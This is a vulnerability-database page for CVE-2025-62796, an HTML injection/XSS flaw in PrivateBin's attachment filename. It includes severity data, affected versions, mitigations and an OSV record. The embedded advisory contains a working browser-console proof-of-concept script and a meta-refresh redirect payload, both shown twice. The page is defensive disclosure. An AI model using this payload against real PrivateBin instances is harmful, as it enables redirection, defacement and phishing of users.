CVE-2025-62796: Privatebin/privatebin PrivateBin Is Missing HTML Sanitization Vulnerability

MODERATE
Advisory Identifier: GHSA-867c-p784-5q6g
CVSS 5.8
CWE-601 CWE-79
Published
Advisory Summary

CVE-2025-62796 is a MODERATE (CVSS 5.8) privatebin is missing html sanitization vulnerability (CWE-601: URL Redirection to Untrusted Site ('Open Redirect')) affecting Privatebin/privatebin libraries in the Packagist ecosystem. The issue involves privatebin is missing html sanitization of attached filename in file size hint. Remediation is available by upgrading affected packages to version 2.0.2.

CVE-2025-62796 at a Glance

CVE Identifier CVE-2025-62796
GHSA Identifier GHSA-867c-p784-5q6g
Severity MODERATE
CVSS v3.1 Base Score 5.8
CWE Classification CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Affected Product Privatebin/privatebin
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2025-62796

To remediate this vulnerability, upgrade all affected Privatebin/privatebin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

privatebin/privatebin fixed: 2.0.2
Upgrade privatebin/privatebin to 2.0.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for privatebin/privatebin

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-62796, inspect your project dependencies for Privatebin/privatebin:

inspect dependencies for privatebin/privatebin

Analyze the terminal output to locate any version of Privatebin/privatebin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect'), where the web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. In Privatebin/privatebin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

We’ve identified an HTML injection/XSS vulnerability in PrivateBin service that allows the injection of arbitrary HTML markup via the attached filename. Below are the technical details, PoC, reproduction steps, impact, and mitigation recommendations. **Recommend action:** As the vulnerability has been fixed in the latest version, users are **strongly encouraged** to upgrade PrivateBin to the latest version _and_ [check](https://privatebin.info/directory/check) that a strong CSP header, just as the default suggested one, is delivered. **Summary of the vulnerability:** The `attachment_name` field containing the attached file name is included in the object that the client encrypts and is eventually rendered in the DOM without proper escaping. ## Impact The vulnerability allows attackers to inject arbitrary HTML into the filename displayed near the file size hint, when attachments are enabled. This is by definition [a XSS vulnerability (CWE-80)](https://cwe.mitre.org/data/definitions/80.html), in this case even a persistent XSS. As any HTML can be injected, basically, this can e.g. be used to inject [a script tag (as per CWE-79)](https://cwe.mitre.org/data/definitions/79.html). That said, also due to [previous issues](#more-informaton), we have strong mitigations for this in place. The [content security policy (CSP)](https://content-security-policy.com/) does, if configured as recommend by the PrivateBin project, prevent any inline script execution, so the confidentiality of the paste is _not_ affected. However, as the reporter demonstrated, even when script execution is blocked, an HTML injection can still be used for attacks such as: * redirection using a meta redirect tag to redirect to a potentially malicious/attacker-controlled website * defacement of the website * phishing, in combination with the redirection to a clone of a PrivateBin phishing page or similar * potential attacks on other services hosted on the same domain This list is by no means meant to be exhaustive, other attacks should be considered possible, that is why we treat this issue as a serious issue, even if the CSP is supposed to block the most attacks. > [!IMPORTANT] > Depending on the deployment, if the server has a different than the recommend CSP configured or the client (browser) somehow lacks a protection, the vulnerability can have much more serious impacts and potentially also allow XSS, which could mean the confidentiality of the PrivateBin instance is affected. ## Technical Description The front-end uses PrivateBin (client-side encryption) to format and encrypt data before sending. During the paste creation process, the client assembles a `cipherMessage` object containing, among other fields: * `paste` -> paste text * `attachment` -> file content (data-URI) * `attachment_name` -> array with file names Before encryption, the `ServerInteraction.setCipherMessage(cipherMessage)` function is called. By intercepting/altering the `cipherMessage` on the client immediately before encryption, it is possible to replace `attachment_name` with an attacker-controlled string; this string becomes part of the encrypted content, and when the paste is opened, the local client decrypts and inserts the name into the DOM unescaped, allowing the interpretation of inserted HTML markup. Note that it was not necessary to reimplement encryption: the monkeypatch modifies the object before the client applies AES-GCM/PBKDF2/compression, thus avoiding ciphertext formatting issues. ## Proof of concept Paste this into the console on the PrivateBin page before clicking Create. ```js // Monkeypatch to modify attachment_name immediately before encryption (() => { const desiredName = '"><meta http-equiv="refresh" content="0;url=https://example.com/">.txt'; // <- adjust here // get the namespace used by PrivateBin if (!window.$ || !$.PrivateBin || !$.PrivateBin.ServerInteraction) { return console.error('PrivateBin namespace not found (make sure you are on the PrivateBin page).'); } const SI = $.PrivateBin.ServerInteraction; // save original function const origSetCipherMessage = SI.setCipherMessage?.bind(SI); if (typeof origSetCipherMessage !== 'function') { return console.error('setCipherMessage not found or is not a function.'); } SI.setCipherMessage = async function(cipherMessage) { try { // cipherMessage here is the plain object the client intends to encrypt if (cipherMessage && Array.isArray(cipherMessage.attachment_name)) { console.log('[patch] original attachment_name:', cipherMessage.attachment_name); cipherMessage.attachment_name = cipherMessage.attachment_name.map(() => desiredName); console.log('[patch] attachment_name overwritten to:', cipherMessage.attachment_name); } else if (cipherMessage && cipherMessage.attachment && Array.isArray(cipherMessage.attachment)) { // if there are attachments but no attachment_name (rare), add a coherent array cipherMessage.attachment_name = cipherMessage.attachment.map(() => desiredName); console.log('[patch] attachment_name added:', cipherMessage.attachment_name); } else { // nothing to change } // call the original implementation (which performs the encryption) return await origSetCipherMessage(cipherMessage); } catch (err) { console.error('Error in setCipherMessage monkeypatch:', err); // in case of error, attempt to call the original anyway return await origSetCipherMessage(cipherMessage); } }; console.log('Monkeypatch applied to ServerInteraction.setCipherMessage() - ready to send. (Reload the page to undo).'); })(); ``` ## Reproduction Steps 1. Access PrivateBin (in the program scope). A requirement is that you have file upload enabled. 2. Attach any file via the UI (file content irrelevant). 3. Open the browser console (F12 → Console). 4. Paste the snippet above and adjust `desiredName` to the desired HTML payload (e.g.,` "><meta http-equiv="refresh" content="0;url=https://example.com/">.txt`). 5. Click Create. The client will encrypt and send the paste normally. 6. Intercept/inspect the POST request (optional). 7. Open the generated link. **What happens:** When rendering the paste, the content of the injected attachment_name will be interpreted according to the context, demonstrating the impact. ## Mitigation We strongly recommend you to **upgrade to our latest release**. However, here are some workarounds that may help you to mitigate this vulnerability without upgrade: * Update the [CSP in your configuration file](https://github.com/PrivateBin/PrivateBin/wiki/Configuration#cspheader) to the latest recommended settings and check that it isn't getting reverted or overwritten by your web server, reverse proxy or CDN, i.e. using [our offered check service](https://privatebin.info/directory/check). **Note:** You should check your CSP independently, even if you upgrade to a fixed version. See also the section ["More information"](#more-information) about how we recently enhanced the CSP protection. * Deploying PrivateBin on a separate domain may limit the scope of the vulnerability to PrivateBin itself and thus, as described in the “Impact” section, effectively prevent any damage by the vulnerability to other resources you are hosting. * As explained in the impact assessment, disabling attachments also prevents this issue. ## Patches The issue has been patched in version 2.0.2. The change that displayed the attachment name without sanitation was introduced in version 1.7.7. The code-changes in PrivateBin mitigating this issue can be found in commit c4f8482b3072be7ae012cace1b3f5658dcc3b42e. ## References We highly encourage server administrators and others involved with the PrivateBin project to read-up on how Content-Security-Policies work, especially should you consider to manually adjust it: * https://content-security-policy.com/ * https://developer.mozilla.org/docs/Web/HTTP/CSP * https://developers.google.com/web/fundamentals/security/csp/ Also please note that if multiple headers are set (as e.g. done via our introduced meta tag) [browsers should apply the most restrictive set of the policies](https://stackoverflow.com/a/51153816/5008962), [as per the CSP specification](https://www.w3.org/TR/CSP2/#enforcing-multiple-policies). ## More information This issue is similar to https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-cqcc-mm6x-vmvw, but was, based on our analysis, apparently introduced in https://github.com/PrivateBin/PrivateBin/pull/1550. Note that we have, independently as of this issue and as per regular security maintenance, already applied many CSP improvements and strengthened this security mechanism of PrivateBin. This includes in detail: * As part of the [last XSS vulnerability](#more-information), we have now included the CSP in a meta HTML tag, too, so in case the headers are somehow mangled with by (reverse) proxies or similar, the PrivateBin instance should still be protected as long as this HTML meta tag is included in an unchanged way. * https://github.com/PrivateBin/PrivateBin/pull/1613 - We have removed a outdated configuration recommendation, as `default-src` does not need to allow `self` anymore, but it can keep the more strict `none` even when using the bootstrap SVG icons. ([previously a problem in Firefox prevented this](https://bugzilla.mozilla.org/show_bug.cgi?id=1773976)) * https://github.com/PrivateBin/PrivateBin/pull/1464 - We could remove the previously used `unsafe-eval` that was a potentially risky CSP source being allowed for scripts, and replaced it with `wasm-unsafe-eval` for the streaming of a WebAssembly component used for optional compression. This can be disabled in the configuration and then `wasm-unsafe-eval` can also be removed. In case you have not noticed this and did not upgrade your CSP header yet, **we strongly recommend to do it as soon as possible**! ## Credits On Thursday October 23rd, 2025 we received a report via email at security@privatebin.org. The reporter asked to stay anonymous. We thank them a lot for the detailed reporting of this vulnerability, including the description of the proof of concept listed above! In general, we'd like to thank everyone reporting issues and potential vulnerabilities to us. If you think you have found a vulnerability or potential security risk, [we'd kindly ask you to follow our security policy](https://github.com/PrivateBin/PrivateBin/blob/master/SECURITY.md) and report it to us. We then assess the report and will take the actions we deem necessary to address it.

CVE-2025-62796 Affected Privatebin/privatebin Versions

1 component(s)
Fixed Versions:
2.0.2
Product / Package Ecosystem Affected Versions Fixed Version
privatebin/privatebin
Packagist
≥ 1.7.7
< 2.0.2
2.0.2

References

Frequently Asked Questions

What is CVE-2025-62796?
CVE-2025-62796 is a security vulnerability in Privatebin/privatebin involving PrivateBin is missing HTML sanitization of attached filename in file size hint under CWE-601: URL Redirection to Untrusted Site ('Open Redirect').
Which Privatebin/privatebin versions are affected?
Affected versions include releases prior to 2.0.2 across affected packages: privatebin/privatebin.
What version fixes CVE-2025-62796?
Upgrading to 2.0.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is privatebin/privatebin affected?
Yes, privatebin/privatebin is affected in releases prior to 2.0.2. Upgrade your dependency to 2.0.2 or later.
What is the CVSS score of CVE-2025-62796?
CVE-2025-62796 has a CVSS v3.1 base score of 5.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N.
What CWE is associated with CVE-2025-62796?
CVE-2025-62796 is classified under CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.).
How can I check Packagist dependencies for CVE-2025-62796?
Run the dependency tree command: 'inspect dependencies for privatebin/privatebin'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-867c-p784-5q6g",
  "modified" : "2025-10-29T14:48:58Z",
  "published" : "2025-10-28T20:14:09Z",
  "aliases" : [ "CVE-2025-62796" ],
  "summary" : "PrivateBin is missing HTML sanitization of attached filename in file size hint",
  "details" : "We’ve identified an HTML injection/XSS vulnerability in PrivateBin service that allows the injection of arbitrary HTML markup via the attached filename. Below are the technical details, PoC, reproduction steps, impact, and mitigation recommendations.\n\n**Recommend action:** As the vulnerability has been fixed in the latest version, users are **strongly encouraged** to upgrade PrivateBin to the latest version _and_ [check](https://privatebin.info/directory/check) that a strong CSP header, just as the default suggested one, is delivered.\n\n**Summary of the vulnerability:** The `attachment_name` field containing the attached file name is included in the object that the client encrypts and is eventually rendered in the DOM without proper escaping.\n\n## Impact\nThe vulnerability allows attackers to inject arbitrary HTML into the filename displayed near the file size hint, when attachments are enabled. This is by definition [a XSS vulnerability (CWE-80)](https://cwe.mitre.org/data/definitions/80.html), in this case even a persistent XSS. As any HTML can be injected, basically, this can e.g. be used to inject [a script tag (as per CWE-79)](https://cwe.mitre.org/data/definitions/79.html).\n\nThat said, also due to [previous issues](#more-informaton), we have strong mitigations for this in place. The [content security policy (CSP)](https://content-security-policy.com/) does, if configured as recommend by the PrivateBin project, prevent any inline script execution, so the confidentiality of the paste is _not_ affected.\n\nHowever, as the reporter demonstrated, even when script execution is blocked, an HTML injection can still be used for attacks such as:\n* redirection using a meta redirect tag to redirect to a potentially malicious/attacker-controlled website\n* defacement of the website\n* phishing, in combination with the redirection to a clone of a PrivateBin phishing page or similar\n* potential attacks on other services hosted on the same domain\n\nThis list is by no means meant to be exhaustive, other attacks should be considered possible, that is why we treat this issue as a serious issue, even if the CSP is supposed to block the most attacks.\n\n> [!IMPORTANT]  \n> Depending on the deployment, if the server has a different than the recommend CSP configured or the client (browser) somehow lacks a protection, the vulnerability can have much more serious impacts and potentially also allow XSS, which could mean the confidentiality of the PrivateBin instance is affected. \n\n## Technical Description\n\nThe front-end uses PrivateBin (client-side encryption) to format and encrypt data before sending. During the paste creation process, the client assembles a `cipherMessage` object containing, among other fields:\n* `paste` -> paste text\n* `attachment` -> file content (data-URI)\n* `attachment_name` -> array with file names\n\nBefore encryption, the `ServerInteraction.setCipherMessage(cipherMessage)` function is called. By intercepting/altering the `cipherMessage` on the client immediately before encryption, it is possible to replace `attachment_name` with an attacker-controlled string; this string becomes part of the encrypted content, and when the paste is opened, the local client decrypts and inserts the name into the DOM unescaped, allowing the interpretation of inserted HTML markup.\n\nNote that it was not necessary to reimplement encryption: the monkeypatch modifies the object before the client applies AES-GCM/PBKDF2/compression, thus avoiding ciphertext formatting issues.\n\n## Proof of concept\nPaste this into the console on the PrivateBin page before clicking Create.\n\n```js\n// Monkeypatch to modify attachment_name immediately before encryption\n(() => {\n  const desiredName = '\"><meta http-equiv=\"refresh\" content=\"0;url=https://example.com/\">.txt'; // <- adjust here\n\n  // get the namespace used by PrivateBin\n  if (!window.$ || !$.PrivateBin || !$.PrivateBin.ServerInteraction) {\n    return console.error('PrivateBin namespace not found (make sure you are on the PrivateBin page).');\n  }\n\n  const SI = $.PrivateBin.ServerInteraction;\n  // save original function\n  const origSetCipherMessage = SI.setCipherMessage?.bind(SI);\n\n  if (typeof origSetCipherMessage !== 'function') {\n    return console.error('setCipherMessage not found or is not a function.');\n  }\n\n  SI.setCipherMessage = async function(cipherMessage) {\n    try {\n      // cipherMessage here is the plain object the client intends to encrypt\n      if (cipherMessage && Array.isArray(cipherMessage.attachment_name)) {\n        console.log('[patch] original attachment_name:', cipherMessage.attachment_name);\n        cipherMessage.attachment_name = cipherMessage.attachment_name.map(() => desiredName);\n        console.log('[patch] attachment_name overwritten to:', cipherMessage.attachment_name);\n      } else if (cipherMessage && cipherMessage.attachment && Array.isArray(cipherMessage.attachment)) {\n        // if there are attachments but no attachment_name (rare), add a coherent array\n        cipherMessage.attachment_name = cipherMessage.attachment.map(() => desiredName);\n        console.log('[patch] attachment_name added:', cipherMessage.attachment_name);\n      } else {\n        // nothing to change\n      }\n\n      // call the original implementation (which performs the encryption)\n      return await origSetCipherMessage(cipherMessage);\n    } catch (err) {\n      console.error('Error in setCipherMessage monkeypatch:', err);\n      // in case of error, attempt to call the original anyway\n      return await origSetCipherMessage(cipherMessage);\n    }\n  };\n\n  console.log('Monkeypatch applied to ServerInteraction.setCipherMessage() - ready to send. (Reload the page to undo).');\n})();\n```\n\n## Reproduction Steps\n\n1. Access PrivateBin (in the program scope). A requirement is that you have file upload enabled.\n2. Attach any file via the UI (file content irrelevant).\n3. Open the browser console (F12 → Console).\n4. Paste the snippet above and adjust `desiredName` to the desired HTML payload (e.g.,` \"><meta http-equiv=\"refresh\" content=\"0;url=https://example.com/\">.txt`).\n5. Click Create. The client will encrypt and send the paste normally.\n6. Intercept/inspect the POST request (optional).\n7. Open the generated link.\n\n**What happens:** When rendering the paste, the content of the injected attachment_name will be interpreted according to the context, demonstrating the impact.\n\n## Mitigation\n\nWe strongly recommend you to **upgrade to our latest release**. However, here are some workarounds that may help you to mitigate this vulnerability without upgrade:\n\n* Update the [CSP in your configuration file](https://github.com/PrivateBin/PrivateBin/wiki/Configuration#cspheader) to the latest recommended settings and check that it isn't getting reverted or overwritten by your web server, reverse proxy or CDN, i.e. using [our offered check service](https://privatebin.info/directory/check).\n   **Note:** You should check your CSP independently, even if you upgrade to a fixed version. See also the section [\"More information\"](#more-information) about how we recently enhanced the CSP protection. \n* Deploying PrivateBin on a separate domain may limit the scope of the vulnerability to PrivateBin itself and thus, as described in the “Impact” section, effectively prevent any damage by the vulnerability to other resources you are hosting.\n* As explained in the impact assessment, disabling attachments also prevents this issue.\n\n## Patches\n\nThe issue has been patched in version 2.0.2. The change that displayed the attachment name without sanitation was introduced in version 1.7.7. The code-changes in PrivateBin mitigating this issue can be found in commit c4f8482b3072be7ae012cace1b3f5658dcc3b42e.\n\n## References\nWe highly encourage server administrators and others involved with the PrivateBin project to read-up on how Content-Security-Policies work, especially should you consider to manually adjust it:\n* https://content-security-policy.com/\n* https://developer.mozilla.org/docs/Web/HTTP/CSP\n* https://developers.google.com/web/fundamentals/security/csp/\n\nAlso please note that if multiple headers are set (as e.g. done via our introduced meta tag) [browsers should apply the most restrictive set of the policies](https://stackoverflow.com/a/51153816/5008962), [as per the CSP specification](https://www.w3.org/TR/CSP2/#enforcing-multiple-policies).\n\n## More information\nThis issue is similar to https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-cqcc-mm6x-vmvw, but was, based on our analysis, apparently introduced in https://github.com/PrivateBin/PrivateBin/pull/1550.\n\nNote that we have, independently as of this issue and as per regular security maintenance, already applied many CSP improvements and strengthened this security mechanism of PrivateBin. This includes in detail:\n* As part of the [last XSS vulnerability](#more-information), we have now included the CSP in a meta HTML tag, too, so in case the headers are somehow mangled with by (reverse) proxies or similar, the PrivateBin instance should still be protected as long as this HTML meta tag is included in an unchanged way.\n* https://github.com/PrivateBin/PrivateBin/pull/1613 - We have removed a outdated configuration recommendation, as `default-src` does not need to allow `self` anymore, but it can keep the more strict `none` even when using the bootstrap SVG icons. ([previously a problem in Firefox prevented this](https://bugzilla.mozilla.org/show_bug.cgi?id=1773976))\n* https://github.com/PrivateBin/PrivateBin/pull/1464 - We could remove the previously used `unsafe-eval` that was a potentially risky CSP source being allowed for scripts, and replaced it with `wasm-unsafe-eval` for the streaming of a WebAssembly component used for optional compression. This can be disabled in the configuration and then `wasm-unsafe-eval` can also be removed.\n\nIn case you have not noticed this and did not upgrade your CSP header yet, **we strongly recommend to do it as soon as possible**!\n\n## Credits\n\nOn Thursday October 23rd, 2025 we received a report via email at security@privatebin.org. The reporter asked to stay anonymous. We thank them a lot for the detailed reporting of this vulnerability, including the description of the proof of concept listed above!\n\nIn general, we'd like to thank everyone reporting issues and potential vulnerabilities to us.\n\nIf you think you have found a vulnerability or potential security risk, [we'd kindly ask you to follow our security policy](https://github.com/PrivateBin/PrivateBin/blob/master/SECURITY.md) and report it to us. We then assess the report and will take the actions we deem necessary to address it.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "privatebin/privatebin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.7.7"
      }, {
        "fixed" : "2.0.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-867c-p784-5q6g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-62796"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PrivateBin/PrivateBin/pull/1550"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PrivateBin/PrivateBin/commit/c4f8482b3072be7ae012cace1b3f5658dcc3b42e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PrivateBin/PrivateBin"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-601", "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-28T20:14:09Z",
    "nvd_published_at" : "2025-10-28T21:15:40Z"
  }
}